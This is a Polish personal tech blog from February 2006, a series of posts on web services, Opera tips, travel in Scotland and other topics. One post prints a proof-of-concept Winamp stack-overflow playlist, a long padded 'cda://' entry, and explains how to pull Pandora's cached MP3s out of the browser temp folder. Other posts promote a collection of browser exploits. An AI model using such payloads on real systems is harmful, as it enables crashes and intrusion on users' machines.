Wtorek, 28 lutego 2006 :: 22:13:51
Dziś oderwiemy się od tematyki hackingu -- chociaż pozostaniemy po ciemnej stronie, ale nie z wyboru, a przymusu, bowiem w tym kolorze Microsoft (???) zaprojektował swoją stronę o...
No właśnie, o czym? Macie jakieś pomysły? W polskiej prasie chyba nie było jeszcze zbyt wiele na temat Origami, a na zachodzie same plotki...
Na marginesie, zaślepkę, to zaprojektować trzeba "umić"... i chyba Microsoftowi wyszło. Osobiście uważam, że koncern ma świetne reklamy -- widziałem kilka na Nocy Reklamożerców i mimo, że nie należały do kategorii śmieszne, to bardzo przypadły mi do gustu. Tego typu uczucie, które wywołują we mnie reklamy Microsoftu, powodują także reklamy IBM-u.
BTW, padł jeden z lubianych przeze mnie serwisów - gdzie można było zaprojektować własne logo Google'a. Ktoś wie dlaczego?
Poniedziałek, 27 lutego 2006 :: 21:02:56
Niedawno hakowałem dla Was trójwymiarowe zdjęcia. Osatnio mocno hakowaliśmy przeglądarki, nie dalej jak dwa dni temu, dźwięk - a konkretniej - przestrzenne mp3. I dziś, temat hakowania dźwięku podtrzymamy.
Każdy z Was zna serwisy takie jak Last.fm, czy Pandora, prawda? Trwając wiernie od początków Audioscobblera, do niedawna uważałem Last.fm za serwis idealny. Ale, po moich małych experiences z Pandorą, dochodzę do wniosku, że Pandorka jest szybka, zwinna i idealnie nadaje sie na małe, niezobowiązujące słuchanie muzyki via sieć -- bo nie potrzebuje żadnego programu! Viva la Flash :-)
W dodatku, Pandora dostarcza nam plików mp3... i to jest jeden z dwóch hacków na dziś.
Jak otworzyć puszkę mp3 Pandory?
Pandora, podczas słuchania (zmiany piosenki) ściąga ją na dysk, czyli następuje tzw. proces cache'owania utworu. W zależności od tego, jakiej przeglądarki używacie i gdzie jest jej tempdir, tam będzie płynąć cache'owana empetrójka. (BTW, wkurza mnie, że nie mogę sobie w Operze zdefiniowac scieżki, do której ma zapisywać zcache'owane pliki... Ktoś potrafi to obejść?)
Przykładowo, opis dla Internet Explorer + Windows XP jest następujący:
1. Wchodzimy na stronę http://pandora.com
2. Logujemy się na swoje konto, odpalamy radio
3. Wchodzimy w C:\Documents & Settings\[username]\Ustawienia lokalne\Temporary Internet Files\ i po zmianie piosenki sprawdzamy w ktorym z podkalogow pojawia sie plik access (ew. access[1], access[2], etc). Nie uzywam IE wiec u mnie widac plik jak na dloni, bo nie ma żadnych śmieci.
4. I teraz sztuczka. Plik access zostaje dociagniety do konca, a potem znika (nie mam pojecia gdzie, -- Windows nie pozwala chyba śledzić operacji kopiowania z poziomu systemu). Można ew. szukać po całym dysku - ale kto wie, czy nazwa nie została zmieniona? Trzeba wiec dzialac szybko -- ma siś w końcu te 2, 3 sec. po ściągnieciu strumienia, zanim on zniknie -- wtedy należy go skopiować, zmienić rozszeżenie na .mp3 i ...koniec.
Zauważyłem jedną dziwną rzecz. U mnie raz accessy znikają, raz nie. Nie mam pojęcia od czego to zależy. Zapyta ktoś, po co hakować Pandorę?. Legalność działania całowicie pomijam i w ogóle odradzam kradzież czy piractwo jakiegokolwiek typu. Czasem jednak, (zwłaszcza w tych inteligentnych serwisach, które lepiej od nas wiedzą, czego chcielibyśmy posłychać) zdarza się, że algorytm podsuwa nam naprawdę "extrasonga", czyli piosenkę - której nie sposób znaleźć nigdzie indziej...
Mając empetrójkę z puszki Pandory, przechodzimy do hacka numer dwa:
Stack overflow w Winampie - wersje wszystkie
Ilu z Was (po statystykach widze, że przeważa Windows) korzysta z Winampa? I ilu z Was załatało w poprzednim tygodniu, znalezioną, krytyczną dziurę?
Exploit przyjmuje postać:
#EXTM3U
cda://hackerXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx.mp3
New Found Glory - So Happy Together.mp3
Simon & Garfunkel - Scarborough Fair.mp3
A tu plik w Exploit's archives, do ściągniecia.
PS: Zmiany w szablonie mojego Joggera: Pojawił się odnośnik wykop (w komentarzach, prawy dolny róg notki). Jeśli nie wiesz czym jest wykop - nie klikaj tam, a tu :-) A kolor różowy? W ramach protestu szarości głównej strony Joggera 2. (No, mogę sobie pozwolić na takie szaleństwo, bo zacząłem prace nad nowym szablonem ;)
* - Wybaczcie mi ten dziwny język w tytule ;-)
Niedziela, 26 lutego 2006 :: 19:24:01
Wszyscy podniecaja sie szarozoltym Joggerem, ktoremu do nazwy przyczepila sie dwojka...
To ja na zlosc, hymn bloggerow prezentuje, Monty Pythonem zainspirowany. Ejnoy!
Blogsong: Stop this stupid thing!
(Prawda, ze kolory zywsze od designu j2? :P)
Sobota, 25 lutego 2006 :: 22:21:58
Ilu z Was słyszało o Google w TV? (Ha, przewidywania użytkowników TwoCrowdsa się sprawdziły!)
Od niedawna Current.tv przygotowywuje codziennie ok. 3 min. relację na podstawie danych z Google Zeitgeist.
Ale hola, hola! Polacy byli pierwsi! Na TVN24 przez kilka miesięcy można było podziwiać OnetLink - krótki program przedstawiający newsy z Internetu ilustrowane stronami WWW.
No dobra, zgodzę się z Wami, że temeatyka niezupełnie taka sama - ale, że program był w porze obiadowej, to zawsze było co obejrzeć do kotleta... ;-)
PS: Czego używacie do zrzucania strumieni? Ja w takich chwilach, z pożądaniem patrze na Operę, której panel "Links" podsuwa adresy URL do mplayera i jego -dumpstreama...
Piątek, 24 lutego 2006 :: 20:54:48
Nie tak dawno temu pisałem o tym jak za pomocą zwykłego aparatu i normalnych fotek zrobić kolorowe, trójwymiarowe zdjęcie. Dziś pora porzucić obrazy i zająć się zaczętym wczoraj wątkiem muzycznym...
W komentarzach do mojego tekstu o nowym standardzie MP3 wzbogaconym o technologię dźwięku przestrzennego, internauta o pseudonimie vania podlinkował niesamowity utwór MP3, który świetnie obrazuje podobną technikę!
Jeśli nigdy nie mieliście trójwymiarowych / przestrzennych doznań związanych z dźwiękiem, posłuchajcie tego! Dla lepszego efektu koniecznie zamknijcie oczy!!!
Mimo, że to tylko pudełko zapałek (?), wrażenie niesamowite. Ale nie wyobrażam sobie standardowego rocka, z perkusitą wirującym raz nad głową, raz pod nogami - raz z przodu, raz z tyłu - za to rynek gier komputerowych pewnie się ucieszy...
Czwartek, 23 lutego 2006 :: 19:29:28
Podcast został wybrany słowem roku 2005. A przecież w Polsce od dawna korzystamy ze słowa audycja. Problem w tym, że o Polsce wie mniej osób niż o iPodzie...
BTW, porządkując dysk, znalazłem pewne nagranie. Nie jest to nic specjalnego, ale przyda się tym, którzy za mną nie przepadają -- teraz mają dobry pretekst, żeby mi dogadać ;-)
Utwór powstał daaaawno temu (~ połowa lat 90-tych) - bądźcie wyrozumiali. Jedno z czasopism komputerowych -- już nie pamiętam które, zamieściło na płytce jakiś program do tworzenia muzyki z sampli i ogłosiło konkurs na utwór Czytelnika.
Mója kompozycja (wzorem wielkich tego świata) została napisana do szuflady, bo upload na serwer wydawnictwa wiązał się wtedy z dużym kosztem (telepieski i inne stworzenia ;o), a na jednej dyskietce się nie zmieścił...
Pamiętam, że po przesłuchaniu finałowych utworów doszedłem do wniosku, iż rozłożyłbym wszystkich konkurentów na łopatki moim DJ-skim udergroundowym, rockowym brzmieniem. (Posłuchaj)
A jak tam Wasze doświadczenia z komponowaniem muzyki i konkursami on-line? Wygraliście coś?
Niedziela, 19 lutego 2006 :: 18:29:40
Jak bylem maly, wiekszosc swojego czasu spedzalem przed oknem, patrzac noca na ksiezyc. Chociaz potrafilem juz mowic (piate przez dziesiate...), na ksiezyc uparcie wolalem: konkon. Ja i moj maly swiat... Do tej pory wydaje mi sie ze bylem wyjatkowym dzieckiem ;-)
Dlatego, wywiad na stronach NASA o tym, jak pachnie ksiezyc, wydal mi sie ciekawy...
Niedziela, 19 lutego 2006 :: 16:43:50
Odpowiadajac na postulat Adasia - moja, kurde, Opera 9 to juz ma podfoldery ;-)
Juz spiesze z wyjasnieniem tymczasowego workaround na problem Adasia. Problem, ktory mnie wkurzal juz od dawna. Wiecie, ze wzgledu na to co robie, byc na biezaco z newsami ze swiata jest dla mnie wazne. Stad subskrybuje 60+ kanalow... i po chwili robi sie sieczka... :-( Oto przepis na segregacje wiadomosci RSS w Operze.
1. Zakladamy konto e-mailowe, bylejakie-lipne. (W koncu RSSy w Operze sa zarzadzane przez modul poczty... :>)
Tools -> Mail and chats accounts -> New -> Regular e-mail
2. Pojawia nam sie w menu narzedziowym pozycja o nazwie Mail.
3. Z tego menu wybieramy Filters... (play: tada.wav!)
4. Tworzymy nowe filtry, dodajemy do nich regulki.
Po otwarciu okna Message filters, klikamy na rozwijany przycisk Filters i wybieramy New Filter. Wpisujemy nazwe naszego filtra, (np. Newsy), a po prawej stronie okna dialogowego pojawia nam sie kilka opcji do zarzadzania filtrowaniem. Fitry sa obrazowane przez katalogi -- wedle zyczenia Adasia :-)
Kanaly RSS filtrujemy w nastepujacy sposob: Otwieramy dowolna wiadomosc RSS z danego kanalu, klikamy PPM i wybieramy z menu kontekstowego View all headers and messages. Nastepnie szukamy w zrodle wiadomosci RSS dla danego kanalu jakiegos charakterystycznego, pojawiajacego sie w kazdej wiadomosci wyrazenia. Polecam znalezc linijke podobna do tej:
<base href="http://rss.di.com.pl/all.rss">
Nastepnie kopiujemy ta linijke i dodajajemy odpowiednia regulke w oknie zarzadzania filtrami. A robimy to tak: Klikamy na Add rule i wybieramy:
Match | Entire message | Contains | <base href="http://rss.di.com.pl/all.rss">
Potem zaznaczamy Mark messages as filtered (zeby nie pokazywaly sie w glownym oknie, a jedynie w odpowiednich podkatalogach) oraz Filter existing messages, (zeby filtr zadzialal na juz odebranych wiadomosciach RSS) ...i gotowe! Mamy posegregowane RSSy.
Dodatkowo, mozemy tworzyc podkatalogi w katalogach filtrow. Czyli np. w katalogu Blogi dodajemy podkatalogi Techniczne, Zagraniczne, Z fotkemamy nag^Wmilych nastolatek...
5. Opcjonalnie: Kasujemy konto e-mail (Tools -> Accounts -> Delete).
Ja kasuje, bo nie uzywam Opery do zarzadzania poczta (Firewall...) i nie lubie miec zbednych pozycji w menu narzedziowym. Jednak, kiedy chce zmienic cos w filtrach, musze zalozyc na chwile kolejne lipne konto -- tylko po to, zeby dostac sie do okna zarzadzania fitrami. Glupie to! Slyszycie tam w Operze: GLUPIE! ...i strasznie wkurzajace.
BTW, wie ktos moze jak wywolac to okno zarzadzania filtrami inaczej niz przez klikanie w menu?
Na koniec: Pamietajcie, ze czytajac wiadomosci, juz w odpowiednich katalogach, posegregowane, mozecie je oznaczac za pomoca Labels. To pozwoli wam na wybor w oknie Operowego czytnika RSS widoku jednego Labela, który pokaze wszystkie oznaczone nim wiadomosci, niezaleznie od podkatalogu (filtru) w ktorym one sa. Wygodne - ja uzywam label ToDO do zaznaczania wiadomosci RSS, na temat ktorych byc moze napisze newsa. Po przejrzeniu wszystkich RSS-ów, wlaczam sobie widok Lables->ToDo i mam te waznosci, ktore zaznaczylem.
Acha, jak czytamy wiadomosci z podkatalogów? Feeds -> Read feeds -> i z rozwijanego przycisku Newsfeeds mozemy wybrac dowolne filtry.
PS: Dla hardocorowcow, filtry mozecie dodawac w pliku index.ini znajdujacym sie w podkatalogu Mail katalogu gdzie jest zainstalowana Wasza Opera. Nowe wydanie mojego PortableOpera chyba dorobi sie opcji zarzadzania i tym plikiem, zebym nie musial za kazdym razem tworzyc lipnego konta e-mail, by przeedytowac regulke w filtrach...
Sobota, 18 lutego 2006 :: 22:47:20
Ostatnio rodza sie jak grzyby po deszczu... Do Archiwum Exploitów dodano kolejny, tym razem rodzimy, exploit psujacy przegladarke Internet Explorer IE 6+ Script Engine Buffer Overflow. Ten jest 0day++ :-) Milego przepelniania...
Ciagle jednak nie ma zadnego exploita dla Opery? Czyzby Opera byla programem napisanym wbrew zasady: every piece of software has to have at least one vulnerability?
Piątek, 17 lutego 2006 :: 05:41:59
Wczoraj szczury, dzis sokoły... (hej, hej...)
W technologię do odczytywania tablic rejestracyjnych zostały wyposażone kamery, które uzyskali stołeczni policjanci. Docelowo, system ma pomóc w namierzaniu kradzionych aut...
Jak donosi portal Onet.pl, warszawska policja rozpoczęła już testy nowoczesnych kamer. Wyposażony w technologię PRS system rozpoznawania tablic rejestracyjnych pozwala na odczytania aż 25 tablic na sekundę. Za pomocą specjalnych technik rozpoznawania obrazu, możliwym jest również odczytanie zabrudzonych i uszkodzonych tablic rejestracyjnych. (Połamanych też? :-)
Nadkomisarz Mariusz Sokołowski potwierdził, że po pomyślnych testach, system trafi na ulice Warszawy. Umieszczony zostanie na ruchliwych skrzyżowaniach i drogach wjazdowych do miasta. Strzeżcie się!
Przeznaczenie systemu -- walka ze złodziejami samochodów -- jest chyba jednak trochę naiwne. Większość przestępców zmienia bowiem tablice rejestracyjne, albo całkowicie się ich pozbywa. Po sieci krążą ploty, że nowy system będzie na siebie zarabiać służąc jako kolejny bat na piratów drogowych. W sumie też pożyteczne stworzenie...
Warto wspomnieć, że warszawscy policjanci dysponują także innym cudem techniki. "Mobilne centrum monitoringu" to policyjny samochód patrolujący ulice stolicy. Jego załogę stanowi dwójka techników, którzy muszą opanować kilkanaście radiowych kamer i mikrofonów (ciekawe który z nich prowadzi? :-). Pojazd jest ponoć wykorzystywany tylko do zadań specjalnych.
Czwartek, 16 lutego 2006 :: 16:17:06
Dziś wszystko chce być bezprzewodowe, i bardzo dobrze. Dość nieporęcznych kabli, o które przypadkowo się potykam. Otwarcie mówię TAK kolejnemu przeobrażeniu internetowemu -- mobilności. Wszystkim, wszędzie i do wszystkiego. To właśnie jest nowa dewiza surfera XXI wieku, który wie co to gadżet.
A teraz wyobraźcie sobie Iana, właściciela firmy odszczurzającej. Deratyzacja...
Szczury to mądre gryzonie, nie bez powodu wybierane na zwierzynę laboratoryjną i nie bez powodu wychodzące cało z różnych kataklizmów. Ale wciąż, szczury dają się łapać w pułapki na myszy (szczury!?).
Ian codziennie spotyka klientów, których wcześniej odwiedził i przestraszył Pan Szczur. Głównym zadaniem Iana jest wytępić gryzonie, a podstawową bronią pułapka na myszy. Ludzki arsenał ewoluował na przełomie wieków od kamieni poprzez prowizoryczne włócznie aż do działek laserowych... Dlaczego więc właściciel firmy odszczurzającej nie może ulepszać swojej broni? Może. Ian ulepszył.
Ian zakłada u klientów standardowo wyglądające pułapki na myszy, będące własnością jego firmy. Ian, dla komfortu klienta, zobowiązuje się też za dodatkową opłatą doglądać założone uprzednio pułapki, co jakiś czas, żeby je opróżnić i ew. przygotować na kolejnego klienta tzn. powtórzyć proces rat attract & rat destroy. No cóż, większość klientów nie lubi widoku roztrzaskanych szczurów... Ach, to nieodporne na ból i brzydotę pokolenie konsumentów ;P
Standardowość pułapki na myszy Iana kończy się jednak na wyglądzie i materiale zwanym trutka. Kiedy klamka zapada (ależ to poetycko w słowa ubrałem) i szczur nie może już machnąć ogonkiem, pułapka wysyła do Iana wiadomość tekstową zawierającą oprócz standardowego MOTD: "Mam coś dla Ciebie, kotku" także lokalizację (pobieraną za pomocą odbiornika GPS) oraz numer pułapki.
Cóż, Ian to obrotny chłopak, biznes ma niemały. Ludzka głowa nie spamiętałaby kilkudziesięciu odwiedzanych dziennie piwnic i każdego rupiecia, pod którym umieszczona została pułapka. Bezowocne doglądanie, (tzn. takie, kiedy Ian pokonuje dziesiątki kilometrów do domu klienta, żeby przekonać się, że w pułapki jeszcze nic nie odwiedziło) sporo kosztuje. Ceny paliwa rosną, a sam czas to przecież pieniądz...
Współczesna technika, jak widać przychodzi z pomocą. Zwłaszcza dynamicznie rozwijający się sektor rozwiązań bezprzewodowych. Bezprzewodowa pułapka na myszy zwiększa komfort pracy i wydajność firmy, a wydatek na podrasowanie szczurołapa szybko się zwraca.
PS: Powyższa historia wydarzyła się naprawdę, ale Ian jest postacią fikcyjną. Tak naprawdę Ian to ja, a reszta jest opisem przedwczorajszego snu. Nie pierwszy raz śnię o rozwiązaniach IT połączonych z biznesem... (sic!) Oprócz łowcy szczurów byłem też kiedyś eskimoskim poławiaczem świstaków... ale o tym może następnym razem.
A Wy? Czy pamiętacie swoje najbardziej zwariowane i zarazem informatyczne sny? Jeśli tak, to zapraszam do komentarzy - stwórzmy wspólnie małą encyklopedię sennego absurdu okraszonego hi-techem...
Wtorek, 14 lutego 2006 :: 19:26:03
I żeby nie było dziś zbyt cukierkowo, dorzucam trochę zła!
Pięknie, pięknie, kolejny do kolekcji exploitów...
Wtorek, 14 lutego 2006 :: 19:20:08
Walentynki to komercyjne święto rodem z zachodu. Niektórzy widzą w nim romantyzm, inni sposób na zarobienie pieniędzy. Ubrane w romantyczność i dumnie kroczące z orszakiem czerwonych serduszek rozpoczyna inwazję na nasz ukochany internet.
Ludzie zawierają związki małżeńskie przez blogi (nawet przez joggera!) i czaty... Dlaczego więc specjalny serwis, stworzony właśnie na tą wyjątkową okazję, to z reguły pełna różu tandeta? Poniżej kryty^Wopis najpopularniejszych serwisów walentynkowych w Polsce...
Wirtualna Polska w komunikacie prasowym chwali się, że od lat pomaga zakochanym, uruchamiając w sieci serwisy sepcjalne, na których za pomocą zupy bitowej można wyznać miłość. Żeby jednak móc się oświadczyć, czy nawet powiedzieć kocham, w tym roku użytkownik WP jest skazany na posiadanie przeglądarki z obsługą animacji Flash - wejścia do serwisu broni złamane serce. Dopóki nie złożymy tego ważnego narządu w całość, możemy jedynie pomarzyć o miłosnych podbojach... A żeby ich jasna strzała amora!
Męcząć się z touchpadem ułożyłem w końcu serducho, żeby zobaczyć, że za złamanym sercem kryje się SCOG. Oprócz tego, mało życia; nudno i przyziemnie. Ukochanej osobie prześlemy kartkę, romantycznego SMS-a, a nawet barwną tapetę na telefon (sic!). WP zadbała też o zakochanych ekshibicjonistów, którzy ze swoimi uczuciami będą mogli obnażyć się w internetowej Księdze Życzeń - szkoda, że bez możliwości umieszczenia fotek... *EG*
Onet nie pozostaje w tyle. Na serwisie krakowskiego portalu znajdziemy między innymi Miłosny Barometr, dzięki któremu zakochani mogą sprawdzić siłę swoich uczuć... wyłącznie (!!!) na podstawie swoich imion -- czyżby czysta magia serc? Ciągle jednak nie rozszyfrowałem, czy lepsze perspektywy dla związku można sobie zaskarbić używając zdrobnień. Barometr prawie tak samo zareagował na imie Ryszard, jak i zdrobnioną jego wersję: Rysio. Ba! Nie protestował nawet przy próbie wpisania tajemniczego imienia Aspodjasduh (podziękowania dla mojego wyimaginowanego kota ;p). Co więcej, Barometr zdecydowanie sprzyja związkom homoseksualnym, bo tylko podczas próby z wpisaniem dwóch męskich imion pokazał maksymalną wartość na wskaźniku miłości.
Oprócz mojego ulubionego, arcyciekawego Barometru, posucha... Walentynkowa Wróżka świadcząca porady z zakresu astronomii serc to stary, odgrzewany i znany wszystkim na pamięć Onetowy seks-horoskop, tyle tylko, że ze zwiększoną ilością różu i serduszek.
Nadmiar koloru czerwonego równoważy portal o2.pl, na którym (jeszcze?) nie uruchomiono serwisu walentynkowego. Oziębłość uczuciową wykazywała do niedawna także Gazeta.pl, która na pytanie o walentynki kazała sprawdzić DNS-y, a z wyszukiwarki wysypywały się artykuły o: panienkach i walentynkach na drogach (akcja ZNICZ? -- ogrzejmy się na drodze spalinkami?). Na pierwszym miejscu królują jednak walentynki polityków. Widać w sejmie też można się kochać :-)
A co na to wszystko Google? Google, jak to ma w zwyczaju, pewnie tylko zmieni logo i pokaże sponsorowane reklamy. Ale to tylko przypuszczania, my się przecież o tym nie dowiemy. Dlaczego? Bo 14. lutego, z Google się nie korzysta...
Ja natomiast, kochani Czytelnicy, a w szczególności Czytelniczki, pozwólcie że nieco wcześniej złoże Wam walentynkowe życzenia w starym, internetowym języku:
@>-,-'-- :*
...ech, kto to jeszcze pamięta laurki ASCI-art?
Powyższą notkę można także przeczytać, w lekko innym brzmieniu na DI. Wybaczcie ,,dubla'', ale dnia dzisiejszego, wszystko powinno się robić podwój^Wwe dwoje ;p
Sobota, 11 lutego 2006 :: 17:28:38
Kontynuując wątek exploitów na przeglądarki internetowe, krótka informacja dla zainteresowanych: Do kolekcji został dodany exploit na Internet Explorer beta 2. I jak zawsze, ostrzeżenie: nie klikajcie, bo Wam wysadzi komputer w powietrze ;-)
Zdrówka!
PS: Jeśli macie jakieś inne exploity na przeglądarki, z chęcią o nich usłyszę: $MOJE_NAZWISKO@gmail.com i dodam do kolekcji, z kudosami i innymi takimi...
Piątek, 10 lutego 2006 :: 21:37:31
Kolejny exploit na Fajerfoksa 1.5 do kolekcji (kudos to Metasploit Framework team). Tu opis luki.
Swoją drogą, ciekawe ile z tych exploitów zadziała na zapdejtowanego Firefoksa do wersji 1.5.0.1. Niektóre z nich są już naprawde wiekowe, ale Mozilla Fundation nie widzi w nich dobrego powodu, żeby załatać dziurki. (Tak, wszystkie oprócz perlanego znane były przed buildem FF 1.5, a jak donosili czytelnicy, któryś z dwóch .htmli wykłada FF 1.5).
BTW, Jak tam Wasze nastroje przed Walentynkami? :>
Czwartek, 09 lutego 2006 :: 21:40:19
Noc w bawełnianej prezerwatywie upłynęła spokojnie. Prawie. Dałbym głowę, że za drzwiami kilka razy słyszałem najpopularniejsze polskie słowo, które zaczyna się od k... I w rzeczy samej, przy śniadaniu, w udostępnianym gościom przez schronisko kompleksie kuchennym, natknąłem się na kilku łysych rodaków. Szkoda że nie zjadł ich potwór z Loch Ness :-) Obserwacja: fajnie rozmawia się z rodakami po angielsku...
Po wrzuceniu brudnej bawełnianej prezerwatywy do wora na -- jakże by inaczej -- brudne bawełniane prezerwatywy, ruszyłem nad sławne Loch Ness...
Każdy turysta, obowiązkowo musi odbyć wycieczkę po jednym z lokalnych muzeów oferujących kompleksowe wyjaśnienie zjawiska zwanego Nessi. Każde z muzeów jest oczywiście oficjalne. I -- to już zależy od stopnia fanatyzmu właściciela -- mniej lub bardziej pełne bzdur i magicznych efektów :-)
Ponieważ zwykło się mawiać, że prawda leży pośrodku, moim zdaniem, najlepiej wybrać się do dwóch muzeów prezentujących skrajnie odmienne opinie i samemu wyciągnąć wnioski.
A jak wygląda takie przykładowe muzeum na cześć potwora z Loch Ness?
Jest nastawione ,zgodnie z międzynarodową praktyką, na zysk ;-). Wrzuć monetę.
Ale jedno trzeba przyznać. Muzea są umiejętnie zaprojektowane. Zazwyczaj są to jaskinie, przerobione na kilka sal. Każda z sal ma odpowiedni do omawianego tematu klimat i wystrój... oraz własny projektor odgrywający krótki film. Do tego dochodzi gra świateł i cieni oraz kilka ruchomych manekinów.
Wszystko oczywiście Windows powered. I dzięki temu mogłem zrobić dla Was takie zdjęcie:
Zgodnie ze standardową, szkocką praktyką, po zwiedzaniu wychodzi się na sklep -- ale ponieważ jesteśmy przy faktach i mitach dotyczących Loch Ness, na półkach miliony pluszowych potworków. Najtańszą Nessie (i najmniejszą zarazem) można ujarzmić już za 5 GBP.
Zdarzają się jednak przerośnięte Nessiątka, na które potrzeba już wypchanego portfela.
W sklepie można również nabyć dowód na to, że Szkoci, zgodnie z tradycją, nie noszą bielizny pod kiltem. Uwaga, musisz mieć 18 lat, żeby zobaczyć tą gorszącą du^Wpornografię.
Kiedy po raz pierwszy zobaczyłem Loch Ness na własne oczy, wyglądało właśnie tak:
Nawet tu mają postawione pośmiertne pomniki, czyli ławeczki z transkrypcjami, których setki można spotkać na ulicach Edinburghu (czyt. Edi'n'bra) [Ciekawostka: Glasgow czyta się jako Glass'n'go]
Wracając do tematu Loch Ness, to jest IMHO najpiękniejsze ze zdjęć, które udało mi się zrobić jezioru Ness. Niestety, i na tym nie widać potwora... za to mgła unosząca się nad taflą świetnie podkreśla tajemniczość.
OK, jeśli naprawdę bardzo, bardzo, bardzo chcecie poznać Nessie możecie potraktować ten murek na pierwszym planie, jako porośnięty mchem grzbiet potwora...
Ale miejcie się na baczności, bo cały czas jesteście obserwowani... przez policję!
Okolica wokół jeziora jest bogata w stare, zapomniane budowle. Niestety z bliska, można zobaczyć tylko kilka z nich...
Do domu czas wracać.
Znacie to uczucie nawiedzające wiecznego turystę, że najpiękniejsza jest droga powrotna, prowadząca do swoich własnych czterech kątów? It's bloody right!
Najpiękniejsze było przede mną. Na początek objechałem całe jezioro Ness dookoła, co nie jest zadaniem ani krótkim w czasie, ani łatwym (rzuć okiem na mapę Google przedstawiającą Loch Ness) -- drogi wąskie, kręte, do tego ruch lewostronny i te zapierające dech w piersiach widoki, bardzo skutecznie odciągające uwagę od jezdni...
W ruchu ciężko było robić zdjęcia, przystawać nie było gdzie, ale wierzcie mi, tylu pięknych wodospadów w życiu nie widziałem na oczy! Co tam wodospady, przy brzegach jeziora, co pewien czas można było zobaczyć najpowszechniejsze Szkockie budowle... dobrze się domyślacie -- chodzi o zamki!
To ci dopiero gratka, pobrać się nad brzegiem jeziora w tajemniczym zamczysku... Niektórzy mogliby potem mówić, że udało im się znaleźć potwora z Loch Ness, i to na całe życie... :D
